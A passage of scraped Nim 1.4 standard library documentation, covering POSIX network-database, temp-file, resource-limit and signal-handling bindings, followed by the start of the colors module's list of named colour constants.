[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L989) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L989) ``` proc endhostent() {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L993) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L993) ``` proc endnetent() {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L994) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L994) ``` proc endprotoent() {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L995) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L995) ``` proc endservent() {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L996) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L996) ``` proc freeaddrinfo(a1: ptr AddrInfo) {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L997) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L997) ``` proc gai_strerror(a1: cint): cstring {...}{.importc: "(char *)$1", header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L999) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L999) ``` proc getaddrinfo(a1, a2: cstring; a3: ptr AddrInfo; a4: var ptr AddrInfo): cint {...}{. importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1001) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1001) ``` proc gethostbyaddr(a1: pointer; a2: SockLen; a3: cint): ptr Hostent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1005) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1005) ``` proc gethostbyname(a1: cstring): ptr Hostent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1010) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1010) ``` proc gethostent(): ptr Hostent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1011) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1011) ``` proc getnameinfo(a1: ptr SockAddr; a2: SockLen; a3: cstring; a4: SockLen; a5: cstring; a6: SockLen; a7: cint): cint {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1013) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1013) ``` proc getnetbyaddr(a1: int32; a2: cint): ptr Tnetent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1017) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1017) ``` proc getnetbyname(a1: cstring): ptr Tnetent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1018) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1018) ``` proc getnetent(): ptr Tnetent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1019) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1019) ``` proc getprotobyname(a1: cstring): ptr Protoent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1021) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1021) ``` proc getprotobynumber(a1: cint): ptr Protoent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1022) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1022) ``` proc getprotoent(): ptr Protoent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1023) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1023) ``` proc getservbyname(a1, a2: cstring): ptr Servent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1025) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1025) ``` proc getservbyport(a1: cint; a2: cstring): ptr Servent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1026) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1026) ``` proc getservent(): ptr Servent {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1028) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1028) ``` proc sethostent(a1: cint) {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1030) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1030) ``` proc setnetent(a1: cint) {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1031) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1031) ``` proc setprotoent(a1: cint) {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1032) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1032) ``` proc setservent(a1: cint) {...}{.importc, header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1033) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1033) ``` proc poll(a1: ptr TPollfd; a2: Tnfds; a3: int): cint {...}{.importc, header: "<poll.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1036) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1036) ``` proc realpath(name, resolved: cstring): cstring {...}{.importc: "realpath", header: "<stdlib.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1039) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1039) ``` proc mkstemp(tmpl: cstring): cint {...}{.importc, header: "<stdlib.h>", sideEffect.} ``` Creates a unique temporary file. **Warning**: The `tmpl` argument is written to by `mkstemp` and thus can't be a string literal. If in doubt make a copy of the cstring before passing it in. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1042) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1042) ``` proc mkstemps(tmpl: cstring; suffixlen: int): cint {...}{.importc, header: "<stdlib.h>", sideEffect.} ``` Creates a unique temporary file. **Warning**: The `tmpl` argument is written to by `mkstemps` and thus can't be a string literal. If in doubt make a copy of the cstring before passing it in. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1049) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1049) ``` proc mkdtemp(tmpl: cstring): pointer {...}{.importc, header: "<stdlib.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1056) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1056) ``` proc mkostemp(tmpl: cstring; oflags: cint): cint {...}{.importc, header: "<stdlib.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1059) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1059) ``` proc mkostemps(tmpl: cstring; suffixlen: cint; oflags: cint): cint {...}{.importc, header: "<stdlib.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1060) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1060) ``` proc posix_memalign(memptr: pointer; alignment: csize_t; size: csize_t): cint {...}{. importc, header: "<stdlib.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1062) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1062) ``` proc utimes(path: cstring; times: ptr array[2, Timeval]): int {...}{. importc: "utimes", header: "<sys/time.h>", sideEffect.} ``` Sets file access and modification times. Pass the filename and an array of times to set the access and modification times respectively. If you pass nil as the array both attributes will be set to the current time. Returns zero on success. For more information read <http://www.unix.com/man-page/posix/3/utimes/>. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1064) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1064) ``` proc setrlimit(resource: cint; rlp: var RLimit): cint {...}{.importc: "setrlimit", header: "<sys/resource.h>".} ``` The setrlimit() system calls sets resource limits. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1105) ``` proc getrlimit(resource: cint; rlp: var RLimit): cint {...}{.importc: "getrlimit", header: "<sys/resource.h>".} ``` The getrlimit() system call gets resource limits. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1109) Templates --------- ``` template onSignal(signals: varargs[cint]; body: untyped) ``` Setup code to be executed when Unix signals are received. The currently handled signal is injected as `sig` into the calling scope. Example: ``` from posix import SIGINT, SIGTERM, onSignal onSignal(SIGINT, SIGTERM): echo "bye from signal ", sig ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L1078) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L1078)
programming_docs
nim colors colors ====== This module implements color handling for Nim. Imports ------- <strutils>, <algorithm> Types ----- ``` Color = distinct int ``` A color stored as RGB, e.g. `0xff00cc`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L15) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L15) Consts ------ ``` colAliceBlue = 15792383 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L147) ``` colAntiqueWhite = 16444375 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L148) ``` colAqua = 65535 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L149) ``` colAquamarine = 8388564 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L150) ``` colAzure = 15794175 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L151) ``` colBeige = 16119260 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L152) ``` colBisque = 16770244 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L153) ``` colBlack = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L154) ``` colBlanchedAlmond = 16772045 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L155) ``` colBlue = 255 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L156) ``` colBlueViolet = 9055202 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L157) ``` colBrown = 10824234 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L158) ``` colBurlyWood = 14596231 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L159) ``` colCadetBlue = 6266528 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L160) ``` colChartreuse = 8388352 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L161) ``` colChocolate = 13789470 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L162) ``` colCoral = 16744272 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L163) ``` colCornflowerBlue = 6591981 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L164) ``` colCornsilk = 16775388 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L165) ``` colCrimson = 14423100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L166) ``` colCyan = 65535 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L167) ``` colDarkBlue = 139 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L168) ``` colDarkCyan = 35723 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L169) ``` colDarkGoldenRod = 12092939 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L170) ``` colDarkGray = 11119017 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L171) ``` colDarkGreen = 25600 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L172) ``` colDarkKhaki = 12433259 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L173) ``` colDarkMagenta = 9109643 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L174) ``` colDarkOliveGreen = 5597999 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L175) ``` colDarkorange = 16747520 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L176) ``` colDarkOrchid = 10040012 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L177) ``` colDarkRed = 9109504 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L178) ``` colDarkSalmon = 15308410 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L179) ``` colDarkSeaGreen = 9419919 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L180) ``` colDarkSlateBlue = 4734347 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L181) ``` colDarkSlateGray = 3100495 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L182) ``` colDarkTurquoise = 52945 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L183) ``` colDarkViolet = 9699539 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L184) ``` colDeepPink = 16716947 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L185) ``` colDeepSkyBlue = 49151 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L186) ``` colDimGray = 6908265 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L187) ``` colDodgerBlue = 2003199 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L188) ``` colFireBrick = 11674146 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L189) ``` colFloralWhite = 16775920 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L190) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L190) ``` colForestGreen = 2263842 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L191) ``` colFuchsia = 16711935 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L192) ``` colGainsboro = 14474460 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L193) ``` colGhostWhite = 16316671 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L194) ``` colGold = 16766720 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L195) ``` colGoldenRod = 14329120 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L196) ``` colGray = 8421504 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L197) ``` colGreen = 32768 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L198) ``` colGreenYellow = 11403055 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L199) ``` colHoneyDew = 15794160 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L200) ``` colHotPink = 16738740 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L201) ``` colIndianRed = 13458524 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L202) ``` colIndigo = 4915330 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L203) ``` colIvory = 16777200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L204) ``` colKhaki = 15787660 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L205) ``` colLavender = 15132410 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L206) ``` colLavenderBlush = 16773365 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L207) ``` colLawnGreen = 8190976 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L208) ``` colLemonChiffon = 16775885 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L209) ``` colLightBlue = 11393254 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L210) ``` colLightCoral = 15761536 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L211) ``` colLightCyan = 14745599 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L212) ``` colLightGoldenRodYellow = 16448210 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L213) ``` colLightGrey = 13882323 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L214) ``` colLightGreen = 9498256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L215) ``` colLightPink = 16758465 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L216) ``` colLightSalmon = 16752762 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L217) ``` colLightSeaGreen = 2142890 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L218) ``` colLightSkyBlue = 8900346 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L219) ``` colLightSlateGray = 7833753 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L220) ``` colLightSteelBlue = 11584734 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L221) ``` colLightYellow = 16777184 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L222) ``` colLime = 65280 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L223) ``` colLimeGreen = 3329330 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L224) ``` colLinen = 16445670 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L225) ``` colMagenta = 16711935 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L226) ``` colMaroon = 8388608 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L227) ``` colMediumAquaMarine = 6737322 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L228) ``` colMediumBlue = 205 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L229) ``` colMediumOrchid = 12211667 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L230) ``` colMediumPurple = 9662680 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L231) ``` colMediumSeaGreen = 3978097 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L232) ``` colMediumSlateBlue = 8087790 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L233) ``` colMediumSpringGreen = 64154 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L234) ``` colMediumTurquoise = 4772300 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/colors.nim#L235) ``` colMediumVioletRed = 13047173 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/colors.nim#L236) 